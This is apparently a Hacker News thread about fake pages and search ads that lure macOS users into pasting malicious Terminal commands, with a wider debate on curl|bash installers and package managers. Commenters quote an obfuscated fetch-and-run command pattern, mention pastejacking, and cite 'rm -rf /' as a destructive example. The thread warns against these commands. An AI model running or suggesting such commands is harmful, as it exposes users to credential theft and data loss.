21 comments

  • emilecantin12 hours ago
    Attacks like this are not helped by the increasingly-common &quot;curl | bash&quot; installation instructions (e.g. the new &quot;native&quot; Claude Code install)...<p>Publish through homebrew like a civilized person, please!
    • skybrian11 hours ago
      I will never use Homebrew again because I&#x27;m still sore that they dropped support for a Mac OS version that I was still using and couldn&#x27;t upgrade because Apple didn&#x27;t support my hardware anymore.<p>Any decent project should have a way to install without Homebrew. It&#x27;s really not necessary.
      • coldtea31 minutes ago
        &gt;<i>I will never use Homebrew again because I&#x27;m still sore that they dropped support for a Mac OS version that I was still using and couldn&#x27;t upgrade because Apple didn&#x27;t support my hardware anymore.</i><p>How old was it? With macOS &quot;running an old version&quot; is not really a viable or advisable path beyond a certain point. Might be something people want to do, might it a great option to have, but it&#x27;s not very workable nor supported by Apple and the general ecosystem.<p>&gt;<i>Any decent project should have a way to install without Homebrew. It&#x27;s really not necessary.</i><p>We don&#x27;t install homebrew because it&#x27;s necessary, but because it&#x27;s convenient. No way in hell I&#x27;m gonna install 50+ programs I use one by one using the project&#x27;s own installers.<p>Besides, if &quot;Homebrew dropped support&quot; is an incovenience, &quot;manually look for dozens of individual installers or binary, make sure dependencies work well together, and update yourself again manually&quot; is even more of an inconvenience. Not to mention many projects on their own drop support for macOS versions all the time, or offer no binaries or installers.
      • jeroenhd4 hours ago
        &gt; and couldn&#x27;t upgrade because Apple didn&#x27;t support my hardware anymore<p>I&#x27;d classify that as an Apple problem rather than a Homebrew problem. If Apple themselves cannot be arsed to support an OS version, why would a volunteer project take on such a challenge?<p>For every piece of software I&#x27;ve fetched using Homebrew, there&#x27;s a &quot;compile from source&quot; option available on Github or some other source repo.
        • spockz3 hours ago
          And if there isn’t that option explicitly highlighted, one can always look at the formula in homebrew for the instructions.
        • trinix9123 hours ago
          It wouldn’t cost Homebrew folks much to add a flag to skip dependency version checking which would solve most issues with using older macOS. But they don’t want to, and have closed all issues asking for it as wontfix.
          • jeroenhd3 hours ago
            &gt; But they don’t want to<p>Seems like good enough a reason for them not to do it.<p>Their tooling is open-source, surely the few people still using unmaintained versions of macOS can create a `LegacyHomeBrew&#x2F;brew` repository with patches for old macOS versions? It would also be a good place to stuff all the patches and workarounds that may be necessary to support old macOS versions.
          • spike0212 hours ago
            Is this something you could add as a hot fix yourself and submit a PR for?
            • trinix9122 hours ago
              They said they don’t want that [1]. It’s not just me, several people have asked for it. Maintaining an extra fork just for that is also out of the question for most people.<p>[1] <a href="https:&#x2F;&#x2F;github.com&#x2F;Homebrew&#x2F;brew&#x2F;issues&#x2F;14217" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;Homebrew&#x2F;brew&#x2F;issues&#x2F;14217</a>
        • saagarjha3 hours ago
          Most volunteer projects do this.
      • marxisttemp1 minute ago
        Why not use MacPorts, which currently supports all the way back to Leopard, has far more packages than Homebrew, has a better design, and was created by the creator of the original FreeBSD ports system who also worked on Apple&#x27;s UNIX team?<p>The ubiquity of Homebrew continues to confound me.
      • armchairhacker4 hours ago
        &gt; and couldn&#x27;t upgrade because Apple didn&#x27;t support my hardware anymore.<p>If you really want, you may be able to upgrade the OS anyways with <a href="https:&#x2F;&#x2F;github.com&#x2F;dortania&#x2F;OpenCore-Legacy-Patcher" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;dortania&#x2F;OpenCore-Legacy-Patcher</a>.<p>Or use Homebrew on the old OS with TigerBrew (<a href="https:&#x2F;&#x2F;github.com&#x2F;mistydemeo&#x2F;tigerbrew" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;mistydemeo&#x2F;tigerbrew</a>), but people online suggest MacPorts, not only because it has first-party support but also because it’s apparently better designed.
      • direwolf201 hour ago
        The whole Apple ecosystem demands continually updates. You don&#x27;t buy Apple and then complain about it.
        • bayindirh1 hour ago
          Homebrew and MacPorts unfortunately do not fit to macOS installation layout very well anymore. Packages installed outside usual places create a lot of headaches during updates.<p>I also do not prefer to use these for the last 16+ years, and not planning to do so.
      • wookmaster10 hours ago
        Seems reasonable to not support an OS apple doesn’t support anymore
        • vladvasiliu4 hours ago
          I&#x27;m fine with homebrew not supporting whatever versions they choose.<p>I think GP&#x27;s issue is forcing the use of homebrew for what seems like a rather trivial install. Just make the binary easily downloadable. It&#x27;s not like you can&#x27;t open the curled script to see what it fetches and do it yourself. It&#x27;s just that having to jump through this useless hoop is annoying.<p>My mac is running the latest version of Tahoe but I never liked homebrew. You can bet I won&#x27;t install it just for one app.
        • shevy-java7 hours ago
          Apple controls these computers? I am using Linux myself; I compile from source though. To me it would seem super-strange to use an operating system where a private entity decides what it wants to do.
          • weitendorf4 hours ago
            The people who pay for operating systems are paying for a private entity to decide what the operating system should do. They&#x27;re paying for someone to compile it from source and get it to run on their computer and maintain it.<p>That&#x27;s the whole point. Paying someone for that thing you also know how to do so they can consider that problem solved and focus on the things they know how to do.
          • IlikeMadison5 hours ago
            Gentoo?
        • nonethewiser10 hours ago
          Apple only supports for 3 years
          • xmprt9 hours ago
            Not sure where you&#x27;re getting this from, but the latest MacOS works on devices from 2019 so it&#x27;s at least 6 years of support. And homebrew supports versions from macOS 14 fully (and some support up to 10.15) which means full support for 2018 devices and potentially even devices from 2012 will work.<p>Sources:<p><a href="https:&#x2F;&#x2F;eshop.macsales.com&#x2F;guides&#x2F;Mac_OS_X_Compatibility" rel="nofollow">https:&#x2F;&#x2F;eshop.macsales.com&#x2F;guides&#x2F;Mac_OS_X_Compatibility</a><p><a href="https:&#x2F;&#x2F;docs.brew.sh&#x2F;Installation#2" rel="nofollow">https:&#x2F;&#x2F;docs.brew.sh&#x2F;Installation#2</a>
          • post-it9 hours ago
            Which device was only supported for three years? Even the final Intel Macs are getting six.
            • einr6 hours ago
              More than six. 2019&#x2F;2020 Intel Macs get Tahoe 26.0 + about three years of security patches for Tahoe. The last Intel Mac will be out of support in probably late 2028.
              • pdimitar2 hours ago
                Well, my iMac Pro is not getting Tahoe. That&#x27;s an Intel Mac. No idea why they figured that&#x27;s their line in the sand.
      • nonethewiser10 hours ago
        I guess I ran into the same thing. I try to install anything with Homebrew and it takes forever then breaks.
    • fouc11 hours ago
      I wish mac users would stop using homebrew and use a real package manager with actual dependency management.<p>At the very least, replace homebrew with something like devbox which has `devbox global` for globally managing packages, it uses nix under the hood, and it&#x27;s probably the simplest most direct replacement for homebrew.
      • marxisttemp0 minutes ago
        MacPorts was created by the creator of the original FreeBSD ports system who was also an Apple employee. It ought to be everyone&#x27;s first choice for package management on macOS.
      • pram9 hours ago
        I don&#x27;t agree this is an issue and I&#x27;ll tell you why: Homebrew isn&#x27;t responsible for keeping the system functional like apt or pacman, it&#x27;s a supplemental thing. I&#x27;ve also found it&#x27;s useful in this capacity on Linux specifically with LTS distros, I can get the latest fzf or zoxide or whatever without having to add some shady repo.
      • AnonC10 hours ago
        I use MacPorts because of older versions of Homebrew having a weird and insecure design. [1] I think some of those design issues may have been fixed, but I’m wary of Homebrew.<p>[1]: <a href="https:&#x2F;&#x2F;saagarjha.com&#x2F;blog&#x2F;2019&#x2F;04&#x2F;26&#x2F;thoughts-on-macos-package-managers&#x2F;" rel="nofollow">https:&#x2F;&#x2F;saagarjha.com&#x2F;blog&#x2F;2019&#x2F;04&#x2F;26&#x2F;thoughts-on-macos-pack...</a>
      • skybrian8 hours ago
        It&#x27;s not necessary because Mac applications shouldn&#x27;t have any dependencies other than the OS. (Whatever additional libraries they use should be included.) This should also be true of basic developer tools. Once you&#x27;re in a particular ecosystem, tools like deno, npm, or uv can handle their own dependencies.<p>Alternatively, you could do development in a container and use apt-get there. That&#x27;s probably safest now that we&#x27;re using coding agents.
      • pjmlp6 hours ago
        I never use it when I can have my way.<p>The UNIX in macOS is good enough for my needs, and I manually install anything extra that I might require.
      • comex7 hours ago
        Huh? Homebrew supports and frequently uses dependencies between formulae. It’s a bit janky around upgrades in my experience, but you’re going to have to clarify what you mean.
      • TheDong9 hours ago
        I wish the mac users would switch to a real OS, linux, so that software companies would release linux versions of stuff first.<p>Codex, Claude Desktop, etc etc all starting out as &quot;macOS exclusive&quot; feels so silly when they&#x27;re targeting programmers. Linux is the only OS a programmer can actually patch and contribute to, and yet somehow we&#x27;ve got a huge number of developers who don&#x27;t care about having a good package manager, don&#x27;t care about being able to modify their kernel, don&#x27;t care about their freedom to access and edit the code of the software they rely on to work...<p>It&#x27;s depressing how much of the software industry is just people on macbooks using homebrew to install a newer version of bash and paying $5 for &quot;magnet&quot; to snap windows to the corners since their OS holds them in a prison where they can&#x27;t simply build themselves a tiling window manager in a weekend.<p>The OS is core to your tools and workflows, and using macOS cedes your right to understand, edit, and improve your OS and workflows to a company that is actively hostile to open source, and more and more hostile to users (with a significant increase in ads and overly priced paid services over the years).<p>Anyway, yeah, homebrew sucks. At least nix works on macOS now so there&#x27;s an okay package manager there, but frankly support for macOS has been a huge drag of resources on the nix ecosystem, and I wish macOS would die off in the programming ecosystem so nix could ditch it.
        • philistine37 minutes ago
          Tell me which OS you’re using that allows you to code your own viable tiling manager in a weekend?<p>Is it really a sin to pay for software to augment your OS? Like programmers make their living selling that and it’s horrible?
        • epiecs6 hours ago
          The problem is that right now I have to choose the lesser of 2 evils. I hate what W11 has become. I only use it for games at the moment and the only reason is that some games Apex&#x2F;BF6 do not run under proton because of their anticheat.<p>And I also hate what modern Macos is heading towards. I&#x27;m still ignoring&#x2F;canceling the update on both my devices for the new &quot;glass&quot; interface.<p>And a thinkpad running Linux is just not doing it for me. I want my power efficient mac hardware.<p>Truth be told I just want to have my mbp running Linux. But right now it&#x27;s not yet where it needs to be and I am most certainly not smart enough to help build it :(
          • slyzmud47 minutes ago
            &gt; And a thinkpad running Linux is just not doing it for me. I want my power efficient mac hardware.<p>Are you talking about the battery? I bought a T16 AMD a month ago with the 86Wh battery and it lasts between 8 and 12 hour depending on the usage. Not as much as a macbook but enough to not worry too much about it. New intel ones are supposed to be much better on power efficiency.<p>It&#x27;s off course one level bellow on the mac on that regard (and others maybe too), but if you want to use linux I think the trade-off is worth it.
          • jacquesm2 hours ago
            &gt; And a thinkpad running Linux is just not doing it for me. I want my power efficient mac hardware.<p>I&#x27;m using a decade old thinkpad running linux and it is definitely &#x27;doing it for me&#x27;. And I&#x27;m not exactly a light user. Power efficient mac hardware should be weighed against convenience and price. The developer eco-system on Linux is lightyears ahead of the apple one, I don&#x27;t understand why developers still use either Windows or the Mac because I always see them struggle with the simplest things that on Linux you don&#x27;t even realize could be a problem.<p>Other OSs feel like you&#x27;re always in some kind of jailbreak mode working around artificial restrictions. But sure, it looks snazzy, compared to my chipped battle ax.
        • cs02rm06 hours ago
          It&#x27;s Apple, not the users, that need to make that switch in the first instance. I&#x27;d love to use Linux again but I&#x27;m not leaving Apple hardware for it, or accepting poor software support for recent hardware.
          • vladvasiliu4 hours ago
            It&#x27;s a question of priorities, I guess.<p>I admit I love the mbp hardware, but I can&#x27;t stand macos anymore. So when my work computer was up for replacement, I didn&#x27;t think twice and went with a PC, the latest thinkpad p14s. Everything works out of the box on Linux.<p>Is it as nice as a mac? No, especially the plastic case doesn&#x27;t feel as nice under the hands as a mac&#x27;s aluminum, the touchpad is quite good but worse than a mac&#x27;s, and there are some gaps around the display hinge. But the display itself is quite nice (similar resolution, oled, although not as bright as a mac&#x27;s), it&#x27;s silent and it&#x27;s plenty fast for what I do. I didn&#x27;t pay for it, so I don&#x27;t directly care about this point in this situation, but it also cost around half of what an equivalent mbp would have cost.<p>I also haven&#x27;t tried the battery life yet, but it should hold at least as well as my 5-yo hp elitebook, which still held for around 5 hours last year. I basically never use it for more than an hour unplugged, so battery life is low on my priorities.
          • TheDong3 hours ago
            I dunno, I&#x27;m pretty happy with my thinkpad. Even if I could run Linux flawless on a macbook (which you can&#x27;t unfortunately) I&#x27;d still take the thinkpad hardware over a macbook.<p>A macbook air is 1.25kg, and my thinkpad is 910g, and I can really feel that difference. The thinkpad keyboard also feels ever so slightly better too... and Linux working well is worth more than pretty much anything else.
        • fouc9 hours ago
          I&#x27;d say support for linux has improved an incredible amount compared to 5-10 years ago. I&#x27;m often pleasantly surprised when ever a linux version of something is available because I&#x27;m used to not expecting that haha.
        • kahnclusions5 hours ago
          The package management story on Linux is hideously bad. The next generation replacements are all over the place (do I use snaps? Flatpak?). No one is going to learn Nix if it means you need to become a programmer just to install something.<p>The graphics story on Linux also sucks. I recently tried to convert my Windows gaming machine to Linux (because I hate W11 with a burning passion). It does work, but it’s incredibly painful. Wayland, fractional scaling, 120+ Hz, HDR. It’s getting better thanks to all the work Valve etc are putting in, but it’s still a janky messy patchwork.<p>MacOS just works. It works reliably. Installing things is easy. Playing games is easy. I’m able to customize and configure enough for my needs. I love it and I hope it sticks around because there is no way in hell I would move my work machines over to Linux full time.
          • vladvasiliu3 hours ago
            &gt; Wayland, fractional scaling, 120+ Hz, HDR<p>What&#x27;s wrong with those? I don&#x27;t have a single screen which does 120 Hz + HDR, but I&#x27;m typing this on a 120 Hz laptop, with variable refresh rate, at 125% scaling, and everything works great with Plasma (haven&#x27;t tried anything else). I also have an external HDR screen, but it only does 60 Hz. It works great, too, doing HDR on it but not on the laptop screen (running at the same time, of course). They also run at different scaling (125% and 100%).<p>Now I don&#x27;t know how to confirm that VRR is actually doing anything, but I can tell there&#x27;s a difference between setting the monitor to 60 and to 120 Hz. HDR on the other screen also produces a clear difference.<p>This is all running from integrated intel graphics, maybe with other GPUs it&#x27;s more of a crapshoot, no idea.
    • krackers11 hours ago
      That wouldn&#x27;t really help, it could be more naughty and use pastejacking so you don&#x27;t even realize what&#x27;s happening. That might end up catching a lot of people because as far as i know by default bash doesn&#x27;t use bracketed paste, so you think you&#x27;re copying a real command and it ends up sending your secrets before you know what happened.<p>Disabling JS + bracketed paste seems to be the only good solution.<p>Btw OP article uses a weird setup, why would they use `bash -c &quot;$(curl $(echo qux | base64))&quot;` instead of just &quot;curl | bash&quot;
    • retired11 hours ago
      Homebrew also installs through curl | bash but since recent they also offer a .pkg installer.
    • isodev12 hours ago
      And donate to Homebrew, like a civilised person
    • root_axis10 hours ago
      It&#x27;s not really any different than downloading a binary from a website, which we&#x27;ve been doing for 30 years. Ultimately, it all comes down to trusting the source.
      • AdieuToLogic9 hours ago
        &gt;&gt; Attacks like this are not helped by the increasingly-common &quot;curl | bash&quot; installation instructions ...<p>&gt; It&#x27;s not really any different than downloading a binary from a website, which we&#x27;ve been doing for 30 years.<p>The two are very different, even though some ecosystems (such as PHP) have used the &quot;curl | bash&quot; idiom for about the same amount of time. Specifically, binary downloads from <i>reputable sites</i> have separately published hashes (MD5, SHA, etc.) to confirm what is being retrieved along with other mechanisms to certify the source of the binaries.
        • tiagod1 minute ago
          If the attacker already controls the download link and has a valid https certificate, can&#x27;t they just modify the published hash as well?
      • fastest9636 hours ago
        On Mac binaries need to be signed and notarized and Apple could stop the spread of the malware once it&#x27;s identified or even detect it before notarizing it.
        • Cthulhu_3 hours ago
          I&#x27;ve downloaded and installed too many packages where the developers didn&#x27;t bother with this, but I uncritically went to Mac&#x27;s security settings to let it do its thing anyway.<p>I don&#x27;t know if developer utilities can be distributed through the app store, but they should be so that Apple can review them properly. Criticisms aside, the iOS App Store and the iOS security model has been the best thing for software security (especially for lay-people), ever.
          • philistine33 minutes ago
            Apple controlling CLI utilities is a bad supposedly good idea.<p>They can’t stop themselves from tightening their grip ever tighter, and always want to ensure you have no functionality above what they deemed sufficient.<p>Apple taking over Homebrew would be a disaster.
      • idle_zealot10 hours ago
        Which is why package managers with well-maintained repositories are the civilized solution to software disruption. Unfortunately the Linux world has been dedicating a lot of energy to making Windows-style &quot;download and run the exe&quot; possible on Linux.
        • gruez9 hours ago
          &gt;Which is why package managers with well-maintained repositories are the civilized solution to software disruption.<p>How does that model work with distros like debian, where they freeze package versions and you might not get claude code until 2027 (or whenever the next release is)?
          • TheDong7 hours ago
            If the debian maintainers don&#x27;t align with your preferences you can:<p>1. Create your own apt repository with newer software, and install from that. It&#x27;s easy to package things, you can share the repository with trusted friends, running linux with friends is fun.<p>2. You can switch to a distro, like NixOS or Arch, which values up-to-date software more than slow stable updates.<p>Debian does seem to be more aligned with mailservers and such, where updates can be slow and thoughtful, not as much with personal ai development boxes where you want the hot new ai tool of the week available asap.<p>... Either way, learning to package software correctly for your distro of choice is a good idea, it&#x27;s fun to bang out a nix expression or debian package when you need to install something that&#x27;s not available yet.
            • Spivak1 hour ago
              And installing a .deb package is equivalent to executing arbitrary code as root so I&#x27;m not sure what this actually buys you in security terms.<p>I would love for folks to start packaging their software for major distros if for no other reason than to see just how annoying the tooling is to use.
        • nubinetwork9 hours ago
          I&#x27;ve heard this time and time again from new Linux users: &quot;I don&#x27;t want to learn the command line, I just want to be able to install and run whatever I want&quot;
          • kalaksi3 hours ago
            You don&#x27;t need command line for installing packages, though
    • donatj11 hours ago
      A homebrew tap is really a lateral move from a safety perspective and still usually invoked by pasting into the command line.
    • gchamonlive10 hours ago
      Maybe tools like <a href="https:&#x2F;&#x2F;github.com&#x2F;vet-run&#x2F;vet" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;vet-run&#x2F;vet</a> could help with these projects that would rather you use their custom install script instead of complying to distro-specific supply chains.
    • steve19777 hours ago
      A civilized person of course would use either MacPorts or a proper native macOS installer package.
      • TheDong7 hours ago
        Civilization is about cooperating with your fellow man to build great things, not bowing to the feudal lord Apple Inc.<p>A truly civilized person would use Linux, OpenBSD, etc, a free operating system where they may contribute fixes for their fellow man without having to beg at the boots of the single richest company on the planet with radar numbers asking for fixes from on high.
        • robin_reala5 hours ago
          Apple are just number two, half a trillion behind nVidia. Hopefully that’ll soon change when the bubble pops.
    • sfbapt10 hours ago
      What&#x27;s the security benefits of using homebrew? Isn&#x27;t it just another layer of redirection before downloading the software?
      • TheDong7 hours ago
        There are some real differences.<p>All the homebrew packages have checksums and are versioned in git, so if the upstream website is compromised and a malware installer is put in place of the package, `curl | bash` will just install the malware, while `brew` would start erroring out and refuse to install after downloading something with a different checksum.<p>You also get an audit log in the form of the git repo, and you also ensure everyone&#x27;s downloading the same file, since `curl | bash` could serve different scripts to different IPs or user-agents.<p>I don&#x27;t think brew does proper build sandboxing, so like `.&#x2F;configure.sh` could still download some random thing from the internet that could change, so it&#x27;s only a bit better.<p>If you want proper sandboxing and thus even more security, consider nix.
    • what11 hours ago
      As if homebrew is any more secure. The only reason to use homebrew is convenience.
    • bugbuddy11 hours ago
      Meanwhile, homebrew install instructions:<p>&#x2F;bin&#x2F;bash -c &quot;$(curl -fsSL <a href="https:&#x2F;&#x2F;raw.githubusercontent.com&#x2F;Homebrew&#x2F;install&#x2F;HEAD&#x2F;install.sh" rel="nofollow">https:&#x2F;&#x2F;raw.githubusercontent.com&#x2F;Homebrew&#x2F;install&#x2F;HEAD&#x2F;inst...</a>)&quot;<p>Then it prompts user for admin previledges. Also, it does not support installing as a local non-admin user.
      • rvz9 hours ago
        I would agree if it was the only way to install Homebrew, but it is not.<p>You can install it via a .pkg here: [0]<p>[0] <a href="https:&#x2F;&#x2F;github.com&#x2F;Homebrew&#x2F;brew&#x2F;releases&#x2F;tag&#x2F;5.0.13" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;Homebrew&#x2F;brew&#x2F;releases&#x2F;tag&#x2F;5.0.13</a>
      • brigandish9 hours ago
        Does it still do the &quot;you can&#x27;t install via sudo, that&#x27;s a security risk&quot; while not allowing a non-admin install? I laugh and I cry.<p>Why does anyone trust that project to understand security?
    • tacker20005 hours ago
      I agree about the proliferance of curl | bash, but homebrew is not the answer.<p>They cut support for old platforms way to fast and just in essence try to dictate far too much.
  • ALLTaken9 hours ago
    DO NOT GOOGLE EXPRESS VPN!<p>The GitHub links are one of the nastiest Malware I ever encountered in my life!<p>I steals your Apple Keychain, all your &quot;Safe&quot; Passkeys, your Google Chrome &quot;Saved Passwords&quot;, even your KeePass Database!<p>Login and security is still not sufficiently solved with attack-proofs for the most important things in life like your Bank, Email, Wallets, Social Logins.<p>Your &quot;logged-in Sessions&quot; also get stolen! It&#x27;s unbearable that most cookies expire in months &quot;ON THE SERVER SIDE&quot;! You have no control and can&#x27;t log the attacker out!<p>It happened to me, when I was in China and searched for ExpressVPN, because the main website didn&#x27;t load forever, the GitHub link seemed like an alternative.. damn.. I changed my Google Password 5 times and the attacker was still able to log-in, it was so devastating! I had to change my email passwords multiple times too.<p>Sessions are what make logins valid and this is the weakest link of all. I wish Sessions used Off-The-Record encryption with One-Time-Pads, such that each acccess requires a new key, that can only be derived with a valid reply that makes safe that the attacker can be logged out safely.
    • Asmod4n2 hours ago
      You have to consider your machine and all others you connected to to be compromised. Time to reinstall every device with new accounts and passwords. With unused usb sticks and images downloaded from another network you were never connected to.
    • GaryNumanVevo8 hours ago
      Did you download anything? A bad link isn&#x27;t going to do all of that, unless some NS actor is dropping zero days on random people via Google search. You most likely downloaded a trojan with a a luma stealer, and your computer is probably still compromised.
  • b1temy10 hours ago
    &gt; Never follow a shortened link without expanding it using a utility like Link Unshortener from the App Store,<p>I am unfamiliar with the Apple ecosystem, but is there anything special about this specific app that makes it trustworthy (e.g: reputable dev, made by Apple, etc.)? Looking it up, it seems like an $8 app for a link unshortener app.<p>In any case, there have been malicious sites that return different results based on the headers (e.g: user agent. If it is downloaded via a user-agent of a web browser, return a benign script, if it is curl, return the malicious script). But I suppose this wouldn&#x27;t be a problem if you directly inspect and use the unshortened link.<p>&gt; Terminal isn’t intended to be a place for the innocent to paste obfuscated commands<p>Tale as old as time. Isn&#x27;t there an attack that was starting to get popular last year on Windows of a &quot;captcha&quot; asking you to hit Super + R, and pasting a command to &quot;verify&quot; your captcha? But I suppose this type of attack has been going on for a long, long, time. I remember Facebook and some other websites used to have a big warning in the developer console, asking not to paste scripts users found online there, as they are likely scams and will not do what they claim the script would do.<p>---<p>Side-Note: Is the layout of the website confusing for anyone else? Without borders on the image, (and the image being the same width of the paragraph text) it seemed like part of the page, and I found myself trying to select text on the image, and briefly wondering why I could not do so. Turning on my Dark Reader extension helped a little bit, since the screenshots were on a white background, but it still felt a bit jarring.
  • shreyaspapi5 hours ago
    This is very close to something that happened to a friend of mine. They were trying to follow a MoltBot installation guide, but clicked on a different link that looked legitimate. That page instructed them to paste a command into Terminal. After running it, macOS immediately started asking for multiple permissions, which in hindsight was the big warning sign. But for someone who is non technical might have ran with it.
    • renegat0x04 hours ago
      This might sound stupid, but I have my own index, of trusted domains:<p><a href="https:&#x2F;&#x2F;github.com&#x2F;rumca-js&#x2F;Internet-Places-Database" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;rumca-js&#x2F;Internet-Places-Database</a><p>I start with it, to find stuff I know. If there is stuff I don&#x27;t know and is important to me, I add it to my database.<p>Also it enforces me to verify each link I visit. So links I visit are mostly ok.<p>Though I sometimes use chatgpt for instructions, and if someone poinsed the well &quot;well enough&quot; it might spread malware.
  • dev_l1x_be4 hours ago
    this curl | shell installation is actually insane. It was insane 10 years ago and it is going to be insane 10 years from now. Do not do it.
  • ProtectorFox15 hours ago
    GitHub too <a href="https:&#x2F;&#x2F;iboostup.com&#x2F;blog&#x2F;ai-fake-repositories-github" rel="nofollow">https:&#x2F;&#x2F;iboostup.com&#x2F;blog&#x2F;ai-fake-repositories-github</a>
  • sgirard8 hours ago
    I imagine that an AI agent like OpenClaw, if given browser access and system control with Peekaboo or similar could easily fall prey to this attack.
  • notorandit1 hour ago
    We should not outsource security to Google.<p>If you prepare a ligit-looking web page where you instruct people to download and run malware, we&#x27;d better learn more on security and caution before blindly follow those directions.<p>Why should it be Google&#x27;s (or Bing&#x27;s) duty to filter those out?
    • Ukv33 minutes ago
      &gt; Why should it be Google&#x27;s (or Bing&#x27;s) duty to filter those out?<p>Google intentionally disguises ads as search results, and even lets advertisers present a fake URL. When the system&#x27;s purpose is to profit from tricking inattentive users, I think they should take on some liability for the outcome of what they&#x27;re tricking people into doing.<p>Not to say that better teaching security isn&#x27;t also a good idea.
    • 1e1a1 hour ago
      True, but Google shouldn&#x27;t be allowing obvious malware advertisements on their platform.
    • vimda1 hour ago
      It may not be their duty to filter it out, but it should definitely be their duty to not take money to bump it to the top of their results. Let the algorithm dump random unlinked medium posts on the 5th page where they belong
  • possibleworlds9 hours ago
    I reported one of these recently. It was also related to clearing space, specifically system files. It was the second top sponsored link and presented as an Apple support page. The styling was very convincing, with the only giveaway being the url.<p>A day later my parents called me very stressed out about a popup on my mother’s iPhone saying she had been hacked. I asked them to take a screenshot, and again it was a website that was styled to look like a modal on top of a iOS Settings app page. With the new ui this was extremely effective, as the page title is just a tiny thing down the bottom in scrolled state.<p>I don’t know what is going on, but I’d assume the problem is AI moderation.
  • aucisson_masque15 hours ago
    At least macos has file access permissions.
    • p_ing12 hours ago
      You&#x27;re referring to [Sandboxing] Mandatory Access Controls [0]. Windows doesn&#x27;t implement MAC in the same way, instead using Mandatory Integrity Controls [1].<p>[0] <a href="https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;Security&#x2F;Conceptual&#x2F;AuthenticationAndAuthorizationGuide&#x2F;Permissions&#x2F;Permissions.html" rel="nofollow">https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;Se...</a><p>[1] <a href="https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;win32&#x2F;secauthz&#x2F;mandatory-integrity-control" rel="nofollow">https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;win32&#x2F;secauthz&#x2F;man...</a><p>Windows implements ACLs in a far more granular way than macOS and most other Unicies, however (with the exception of Slowaris).
      • nusl1 hour ago
        Windows can implement these things as much as they like, but if you paste a command into CMD.exe, it can access your files with no popup like MacOS gives you.
        • p_ing44 minutes ago
          Yes, same thing will happen on macOS.
    • zx808014 hours ago
      Comparing to DOS or what? No one runs Win10&#x2F;11 on FAT now, while NTFS has access permissions and ACLs.
      • retired14 hours ago
        I remember that Win32 apps on Windows 10 and 11 can do whatever they want with the users personal files. Has that changed?
        • Asmod4n2 hours ago
          Win32 Apps can access anything you can access and also read out some text fields from apps you have running, via accessibility APIs.
        • zx80809 hours ago
          In Win, access to files are controlled by ACL when NTFS is used (dating back to NT 3.1 with NTFS). So it depends on which user runs a process.<p>Basic hygiene is very simple: never run as Administrator. Create and use a regular user or poweruser group user. It&#x27;s similar to a regular linux practice. Use Administrator account when needed only.
          • trinix9123 hours ago
            GP is talking about isolation <i>inside</i> the current user. Recent macOS versions ask before allowing a program to access files inside Documents, Desktop, etc. Whether that helps or not is debatable, but it’s not quite the same as what Windows ACLs do out of the box. To achieve the same on Windows, one would have to run the program as a different user to which they’d selectively grant access to the folders inside their profile.
            • jeroenhd1 hour ago
              You can enable controlled folders on Windows: <a href="https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;defender-endpoint&#x2F;controlled-folders" rel="nofollow">https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;defender-endpoint&#x2F;controll...</a><p>It&#x27;s not enabled by default, though. Enabling it by default would probably break just about every Windows program out there and like UAC on Vista, everyone would turn it off immediately.
          • p_ing3 hours ago
            You can create a separate user, but even a user in the administrators group doesn&#x27;t have an admin token until elevation.<p>If you trust yourself to not blindly click OK on every UAC prompt, a single user account in the admin group is fine.
    • TiredOfLife6 hours ago
      <a href="https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;defender-endpoint&#x2F;enable-controlled-folders" rel="nofollow">https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;defender-endpoint&#x2F;enable-c...</a>
    • tokyobreakfast13 hours ago
      What does that even mean? NTFS file access permissions (35 years old at this point) are far more powerful than 1970s-era Unix permissions model.
      • emmelaich12 hours ago
        It&#x27;s referring to the fact that Terminal doesn&#x27;t have free access to all your files and folders, despite what the traditional file access perms say.
        • tokyobreakfast11 hours ago
          Windows has this too, but it&#x27;s off by default. I forgot what it&#x27;s called, that&#x27;s how often it gets used.
      • tcoff9113 hours ago
        He’s talking about sandboxing and permissions prompts
  • shevy-java7 hours ago
    Google falling from grace. What happened to it? Google Search used to be useful in the past.
    • 71bw6 hours ago
      Money. This is all thanks to AdSense.
  • niek_pas3 hours ago
    What is an &#x27;AMOS stealer&#x27;?
  • tokyobreakfast13 hours ago
    Are we still pushing the myth that anti-malware on Mac isn&#x27;t necessary?
    • jtbayly13 hours ago
      I support quite a few Mac users and never recommend it myself. Also own a couple Mac’s and don’t use it.<p>I do occasionally use an app to clean somebody’s Mac of an irritating browser search hijack. I’ve never seen anything else.<p>Why should I change my mind?
      • socalgal211 hours ago
        that sounds an awful lot like &quot;I&#x27;ve been this club many times and I was never raped&quot; or &quot;I&#x27;ve walked down that alley many times and I&#x27;ve never been mugged&quot; or &quot;I speed all the time and I&#x27;ve never been in a car accident&quot;
        • JumpCrisscross11 hours ago
          &gt; <i>sounds an awful lot like &quot;I&#x27;ve been this club many times and I was never raped&quot; or &quot;I&#x27;ve walked down that alley many times and I&#x27;ve never been mugged&quot;</i><p>I <i>have</i> been to many clubs many times and never suffered violence. I’ve also walked down alleys without concern. I did them in safe places where that wasn’t a material concern.<p>Windows is Detroit. MacOS is Palo Alto. What’s good practice in one is wasteful or dangerous for the other.
    • GeekyBear13 hours ago
      How does antivirus software protect users who paste malicious commands they find online into the terminal?
      • quamserena13 hours ago
        By scanning downloaded binaries for known viruses?
        • GeekyBear13 hours ago
          A text command pasted into the terminal isn&#x27;t a binary.<p>Convincing a Linux user to paste rm -rf &#x2F; into the terminal is not malware. It&#x27;s social engineering.<p>Scanning binaries for known malware is already built into the OS.
          • jeroenhd1 hour ago
